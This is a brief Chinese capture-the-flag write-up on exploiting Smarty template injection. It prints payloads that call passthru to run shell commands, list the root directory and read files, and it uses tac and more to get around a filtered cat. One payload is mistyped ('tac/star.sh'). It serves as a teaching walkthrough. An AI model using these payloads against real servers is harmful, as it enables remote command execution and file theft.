进入环境发现: pass a parameter and maybe the flag file’s filename is random 😆
意思是传递一个参数
所以我们get传参试试
进行代码审计: 发现smarty是个模板,测试一下是不是模板注入
所以 我们要了解一下smarty模板注入
然后发现过滤了很多函数,但是passthru没有被过滤
passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
所以构造payload:{if passthru (‘ls’)}{/if}
再构造payload:{if passthru (‘ls -al /’)}{/if}
得到 start.sh
发现cat被过滤了 所以用tac
所以构造payload:{if passthru (‘tac/star.sh’)}{/if}
然后 {{passthru(‘more /*’)}}
得到flag
希望这篇文章能够帮到你!